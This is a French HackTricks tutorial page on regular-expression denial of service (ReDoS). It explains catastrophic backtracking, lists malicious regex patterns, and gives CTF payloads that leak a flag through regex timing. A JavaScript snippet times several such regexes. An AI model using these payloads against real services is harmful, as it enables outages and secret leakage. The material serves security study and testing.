9 KiB
Attaque de déni de service par expression régulière - ReDoS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Introduction
Copié de https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Le déni de service par expression régulière (ReDoS) est une attaque de déni de service qui exploite le fait que la plupart des implémentations d'expressions régulières peuvent atteindre des situations extrêmes qui les font fonctionner très lentement (exponentiellement lié à la taille de l'entrée). Un attaquant peut alors amener un programme utilisant une expression régulière à entrer dans ces situations extrêmes et à rester bloqué pendant très longtemps.
Description
L'algorithme naïf de Regex problématique
L'algorithme naïf d'expression régulière construit un Automate Fini Non-Déterministe (AFND), qui est une machine à états finis où pour chaque paire d'état et de symbole d'entrée, il peut y avoir plusieurs états suivants possibles. Ensuite, le moteur commence à effectuer des transitions jusqu'à la fin de l'entrée. Comme il peut y avoir plusieurs états suivants possibles, un algorithme déterministe est utilisé. Cet algorithme essaie un par un tous les chemins possibles (si nécessaire) jusqu'à ce qu'une correspondance soit trouvée (ou que tous les chemins soient essayés et échouent).
Par exemple, l'expression régulière ^(a+)+$
est représentée par l'AFND suivant :
Pour l'entrée aaaaX
, il y a 16 chemins possibles dans le graphe ci-dessus. Mais pour aaaaaaaaaaaaaaaaX
, il y a 65536 chemins possibles, et le nombre double pour chaque a
supplémentaire. C'est un cas extrême où l'algorithme naïf est problématique, car il doit passer sur de nombreux chemins, puis échouer.
Remarquez que tous les algorithmes ne sont pas naïfs, et que les algorithmes d'expression régulière peuvent en fait être écrits de manière efficace. Malheureusement, la plupart des moteurs d'expression régulière aujourd'hui essaient de résoudre non seulement les expressions régulières "pures", mais aussi les expressions régulières "élargies" avec des "ajouts spéciaux", tels que des références arrière qui ne peuvent pas toujours être résolues efficacement (voir Patterns for non-regular languages dans Wiki-Regex pour plus de détails). Ainsi, même si l'expression régulière n'est pas "élargie", un algorithme naïf est utilisé.
Expressions régulières malveillantes
Une expression régulière est dite "malveillante" si elle peut rester bloquée sur une entrée forgée.
Le modèle d'expression régulière malveillant contient :
- Groupement avec répétition
- À l'intérieur du groupe répété :
- Répétition
- Alternance avec chevauchement
Exemples de modèles malveillants :
(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} pour x \> 10
Tous les exemples ci-dessus sont susceptibles de l'entrée aaaaaaaaaaaaaaaaaaaaaaaa!
(la longueur d'entrée minimale peut varier légèrement en fonction des machines plus rapides ou plus lentes).
Charges utiles ReDoS
Exfiltration de chaîne via ReDoS
Dans un CTF (ou une prime de bug), vous contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est mise en correspondance. Ensuite, si cela peut être utile, vous pouvez faire geler la page (temps d'attente ou temps de traitement plus long) si une expression régulière correspond et pas si elle ne correspond pas. De cette façon, vous pourrez exfiltrer la chaîne caractère par caractère :
- Dans ce post, vous pouvez trouver cette règle ReDoS :
^(?=<flag>)((.*)*)*salt$
- Exemple :
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- Exemple :
- Dans ce writeup, vous pouvez trouver celui-ci :
<flag>(((((((.*)*)*)*)*)*)*)!
- Dans ce writeup, il a utilisé :
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
Contrôle d'entrée et d'expression régulière ReDoS
Les exemples suivants sont des ReDoS où vous contrôlez à la fois l'entrée et l'expression régulière :
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Outils
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.